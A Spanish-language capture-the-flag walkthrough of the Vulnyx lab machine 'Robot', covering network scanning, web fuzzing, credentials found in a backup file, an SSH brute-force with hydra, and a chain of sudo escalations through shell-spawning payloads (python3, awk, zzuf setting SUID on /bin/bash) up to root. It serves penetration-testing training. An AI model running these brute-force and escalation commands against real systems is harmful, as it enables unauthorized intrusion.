Máquina Robot (Vulnyx)

Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutaremos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.43

Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.43

Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn -p- 10.0.2.43 -sVC

Como podemos comprobar la Máquina Victima tiene abierto el puerto 2280 y 27017.

Comprobamos que es lo que corre en el puerto 80.

A continuación, realizamos con la herramienta gobuster un fuzzing web, pero no encontramos nada.

Nos descargamos la imagen de la pagina web, y vemos los metadatos con la ayuda de la herramienta exiftool, para ello ejecutamos el siguiente comando:

$ exiftool image.jpg

Y obtenemos el directorio /B4ckUp_3LLi0t.

Accedemos a este directorio.

A continuación, realizamos de nuevo con la herramienta gobuster un fuzzing web por extensiones, para ello ejecutamos el siguiente comando:

$ gobuster dir -u http://10.0.2.43/B4ckUp_3LLi0t -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x bak,zip,rar


Encontramos el archivo connect.bak.

Nos lo descargamos y lo visualizamos, para ello ejecutamos los siguientes comandos:

$ wget http://10.0.2.43/B4ckUp_3LLi0t/connect.bak
$ cat connect.bak


Encontramos las credenciales mongo:m0ng0P4zz para conectarnos a la base de datos elliot de mongodb (27017), por lo tanto, nos conectamos, para ello ejecutamos el siguiente comando:

$ mongo --host 10.0.2.43 elliot -u "mongo" -p "m0ng0P4zz"

A continuación, listamos y visualizamos las colecciones, para ello ejecutamos los siguientes comandos:

> show collections
> db.elliot.find()

Obtenemos información de elliot.

Con la ayuda de la herramienta cupp nos creamos un diccionario de palabras a partir de la información obtenida, para ello ejecutamos el siguiente comando:

$ cupp -q -i

A continuación, con la herramienta hydra realizamos un ataque al servicio ssh para intentar crackear la contraseña del usuario elliot, para ello ejecutamos el siguiente comando:

$ hydra -l elliot -P elliot.txt ssh://10.0.2.43 -T 64


Y obtenemos la contraseña toillE71986.

A continuación, nos conectamos por ssh, para ello ejecutamos el siguiente comando:

$ ssh elliot@10.0.2.43

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l


Nos encontramos con el binario sh que lo podemos ejecutar como el usuario darlene, lo ejecutamos de la siguiente manera:

$ sudo -u darlene /usr/bin/sh

¡¡¡Somos Darlene!!!.

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l


Nos encontramos con el binario python3 que lo podemos ejecutar como el usuario angela. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.

Lo ejecutamos de la siguiente manera:

$ sudo -u angela /usr/bin/python3 -c 'import os; os.system("/bin/sh")'


¡¡¡Somos Angela!!!.

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l

Nos encontramos con el binario awk que lo podemos ejecutar como el usuario tyrell. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.


Lo ejecutamos de la siguiente manera:

$ sudo -u tyrell /usr/bin/awk 'BEGIN {system("/bin/sh")}'


¡¡¡Somos tyrell!!!.

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l


Nos encontramos con el binario zzuf que lo podemos ejecutar como el usuario root, en la ayuda de este binario encuentro que con el parámetro -c puedo ejecutar comandos, por lo tanto, le damos permisos SUID a la /bin/bash y la ejecutamos con la opción -pi para que preserve los privilegios efectivos y obtener una shell interactiva, para ello ejecutamos los siguientes comandos:

$ sudo -u root /usr/bin/zzuf -c chmod u+s /bin/bash
$ /bin/bash -pi


¡¡¡Ya somos root!!!.

Ya podemos leer las flags de user root.